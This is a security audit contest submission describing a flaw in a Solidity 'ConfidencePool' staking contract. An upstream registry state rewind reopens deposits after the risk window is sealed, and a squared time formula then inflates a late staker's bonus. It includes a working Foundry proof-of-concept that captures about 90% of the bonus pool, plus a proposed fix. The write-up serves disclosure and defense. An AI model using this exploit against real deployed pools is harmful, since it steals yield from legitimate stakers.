FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Upstream state rewinds allow deposits to inflate bonus shares and drains the pool

Author Revealed upon completion

Description

  • The pool distributes bonus rewards using a K=2 time-weighted formula: amount × (T - entryTime)². The mathematical integrity of this formula strictly dictates an invariant where a user's entry time () must never exceed the terminal resolution time (, stored as riskWindowEnd).

  • The protocol implementation contains a critical architectural mismatch: riskWindowEnd () is designed as a one-way permanent latch (sealed on the first terminal observation), whereas the deposit gate _assertDepositsAllowed evaluates the bi-directional, live upstream registry state.

  • Because the DESIGN.md documentation explicitly acknowledges "benign upstream state rewinds" as a valid operational flow, a regression from a terminal state (e.g., PRODUCTION) back to an active-risk state (e.g., UNDER_ATTACK) reopens the stake() function.

  • Consequently, an attacker can deposit capital while remains permanently frozen in the past. This forces the delta to evaluate as a negative integer. The K=2 formula subsequently squares this negative value, destroying the sign and quadratically inflating the late attacker's score, completely bypassing the intended late-entry penalty.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
// @> `_assertDepositsAllowed` checks the LIVE state, completely ignoring if `riskWindowEnd` is already sealed
_assertDepositsAllowed(_observePoolState());
if (!expiryLocked) {
expiryLocked = true;
}
// ...
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
// @> If a state rewind reopens deposits, `newEntry` will be far greater than the already-frozen `riskWindowEnd`
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
// ...
}
function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
// @> Allows deposits during UNDER_ATTACK, assuming it's a pre-terminal risk period
}

Risk

Likelihood: Medium

  • The trigger requires the upstream Safe Harbor Registry to undergo a state rewind after a terminal state has been locally observed by the pool.

  • While the upstream Registry is managed by a trusted DAO, this finding does not rely on a malicious admin. The DESIGN.md explicitly documents that "A benign upstream state rewind cannot re-open withdraw: that is gated on the one-way riskWindowStart..." The developers correctly architected a one-way local latch to protect withdrawals from upstream rewinds, but completely failed to implement the corresponding one-way latch to protect the deposit math invariant (). Relying on an external operational flow to implicitly protect an internal mathematical boundary is a systemic design flaw, not an accepted admin risk.

Impact: High

  • Direct Theft of Yield via Math Exploitation: An attacker successfully hijackings the squared negative time delta mathematically steals the vast majority of the bonus pool. In the provided PoC, the attacker captures ~90% of the yield despite matching the legitimate user's capital, completely destroying the economic model of the Confidence Pool.

  • Dilution of Legitimate Risk Capital: Legitimate early stakers suffer near-total financial dilution, having their rightful risk-premium hijacked by users entering after the risk window had technically concluded.

Proof of Concept

  • Place the test inside the test/fork/ folder

  • run the test with forge test --match-test test_UpstreamRewind_QuadraticInflationExploit -vvv --fork-url https://testnet.battlechain.com

Note: the test uses vm.mockCall to imitate the required state (hence the Likelihood is Medium) and does not tinker/changes anything else.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test, console2} from "forge-std/Test.sol";
import {ConfidencePool} from "../../src/ConfidencePool.sol";
import {PoolStates} from "../../src/libraries/PoolStates.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
// Mock Token for staking and bonus
contract MockStakeToken is ERC20 {
constructor() ERC20("Stake", "STK") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract UpstreamRewindExploitTest is Test {
ConfidencePool pool;
MockStakeToken token;
address agreement = makeAddr("agreement");
address safeHarborRegistry = makeAddr("safeHarborRegistry");
address attackRegistry = makeAddr("attackRegistry");
address moderator = makeAddr("moderator");
address recovery = makeAddr("recovery");
address sponsor = makeAddr("sponsor");
address alice = makeAddr("alice"); // Legitimate early staker
address bob = makeAddr("bob"); // Attacker
uint256 constant MIN_STAKE = 100e18;
uint256 constant EXPIRY = 100 days;
uint256 constant BONUS_AMOUNT = 100_000e18;
function setUp() public {
string memory rpc = vm.envOr("BATTLECHAIN_TESTNET_RPC", string(""));
if (bytes(rpc).length > 0) {
vm.createSelectFork(rpc);
}
token = new MockStakeToken();
ConfidencePool impl = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(impl)));
// 1. Mock the SafeHarborRegistry to return our mock AttackRegistry
vm.mockCall(safeHarborRegistry, abi.encodeWithSignature("getAttackRegistry()"), abi.encode(attackRegistry));
// 2. Mock the SafeHarborRegistry agreement validation (setup requirement)
vm.mockCall(
safeHarborRegistry, abi.encodeWithSignature("isAgreementValid(address)", agreement), abi.encode(true)
);
// 3. Mock the Agreement scope validation (setup requirement)
address[] memory accounts = new address[](1);
accounts[0] = makeAddr("in_scope_contract");
vm.mockCall(agreement, abi.encodeWithSignature("isContractInScope(address)", accounts[0]), abi.encode(true));
// Initialize the Cloned ConfidencePool
pool.initialize(
agreement,
address(token),
safeHarborRegistry,
moderator,
block.timestamp + EXPIRY,
MIN_STAKE,
recovery,
sponsor,
accounts
);
// Fund participants
token.mint(alice, 1000e18);
token.mint(bob, 1000e18);
token.mint(sponsor, BONUS_AMOUNT);
vm.startPrank(alice);
token.approve(address(pool), type(uint256).max);
vm.stopPrank();
vm.startPrank(bob);
token.approve(address(pool), type(uint256).max);
vm.stopPrank();
// Sponsor adds 100k tokens to the bonus pool
vm.startPrank(sponsor);
token.approve(address(pool), type(uint256).max);
_setRegistryState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
pool.contributeBonus(BONUS_AMOUNT);
vm.stopPrank();
}
function test_UpstreamRewind_QuadraticInflationExploit() public {
// Active Risk Begins (Legitimate Staking)
vm.warp(1000);
// Registry transitions to UNDER_ATTACK
_setRegistryState(IAttackRegistry.ContractState.UNDER_ATTACK);
// Alice stakes 1,000 tokens during normal risk period. (Her t = 1000)
vm.prank(alice);
pool.stake(1000e18);
console2.log("Alice stakes 1,000 tokens at block.timestamp:", block.timestamp);
// Terminal Observation (T is permanently sealed)
vm.warp(1500);
// Registry transitions to PRODUCTION (Survival)
_setRegistryState(IAttackRegistry.ContractState.PRODUCTION);
// Anyone interacting with the pool permanently seals riskWindowEnd (T = 1500)
pool.pokeRiskWindow();
console2.log("Registry enters PRODUCTION. riskWindowEnd (T) permanently sealed at:", pool.riskWindowEnd());
// The Upstream Rewind (The Vulnerability)
vm.warp(3000);
// The DAO rewinds the registry state back to an active risk state to extend/fix the agreement
_setRegistryState(IAttackRegistry.ContractState.UNDER_ATTACK);
console2.log("DAO triggers benign upstream rewind back to UNDER_ATTACK at block.timestamp:", block.timestamp);
// The Exploit (t > T)
vm.warp(3010);
// Bob notices the opened deposit window and stakes 1,000 tokens. (His t = 3010)
// _assertDepositsAllowed checks live state (UNDER_ATTACK), which passes, bypassing the frozen riskWindowEnd.
vm.prank(bob);
pool.stake(1000e18);
console2.log("Attacker (Bob) stakes 1,000 tokens at block.timestamp:", block.timestamp);
// Resolution
vm.warp(3500);
_setRegistryState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// Claims and Impact Analysis
vm.prank(alice);
pool.claimSurvived();
vm.prank(bob);
pool.claimSurvived();
uint256 aliceTotal = token.balanceOf(alice);
uint256 bobTotal = token.balanceOf(bob);
uint256 aliceBonus = aliceTotal - 1000e18;
uint256 bobBonus = bobTotal - 1000e18;
console2.log("\n--- EXPLOIT RESULTS ---");
console2.log("Total Bonus Pool: ", BONUS_AMOUNT / 1e18);
console2.log("Alice (Legitimate) Bonus Claimed: ", aliceBonus / 1e18);
console2.log("Bob (Attacker) Bonus Claimed: ", bobBonus / 1e18);
// Assertions to mathematically prove the K=2 breakdown
assertGt(bobBonus, aliceBonus * 8); // Bob steals ~9x more bonus than Alice despite identical stake sizes
}
// Helper to mock the live registry state
function _setRegistryState(IAttackRegistry.ContractState state) internal {
vm.mockCall(attackRegistry, abi.encodeWithSignature("getAgreementState(address)", agreement), abi.encode(state));
}
}

Expected Test Logs

Confidence-Pool main ? ❯ forge test --match-test test_UpstreamRewind_QuadraticInflationExploit -vvv --fork-url https://testnet.battlechain.com
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/fork/PoC.t.sol:UpstreamRewindExploitTest
[PASS] test_UpstreamRewind_QuadraticInflationExploit() (gas: 467570)
Logs:
Alice stakes 1,000 tokens at block.timestamp: 1000
Registry enters PRODUCTION. riskWindowEnd (T) permanently sealed at: 1500
DAO triggers benign upstream rewind back to UNDER_ATTACK at block.timestamp: 3000
Attacker (Bob) stakes 1,000 tokens at block.timestamp: 3010
--- EXPLOIT RESULTS ---
Total Bonus Pool: 100000
Alice (Legitimate) Bonus Claimed: 9881
Bob (Attacker) Bonus Claimed: 90118
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.72ms (539.41µs CPU time)
Ran 1 test suite in 6.52s (2.72ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

The current architecture protects withdraw() from upstream rewinds using a local one-way latch (riskWindowStart != 0), but fails to protect stake().

The mitigation implements the exact same architectural pattern for deposits using the terminal latch (riskWindowEnd != 0). Rather than attempting to restrict the DAO's upstream operational flows (which validly include state rewinds), this check isolates the pool's internal math. It acts as an absolute execution guardrail for the K=2 curve, guaranteeing that no new entry time () can be recorded after the terminal time () is permanently sealed. This decisively prevents the negative time-delta underflow and mathematically eliminates the quadratic inflation vector with minimal gas overhead.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
IAttackRegistry.ContractState state = _observePoolState();
_assertDepositsAllowed(state);
+ if (riskWindowEnd != 0) revert StakingClosed();
if (!expiryLocked) {
expiryLocked = true;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!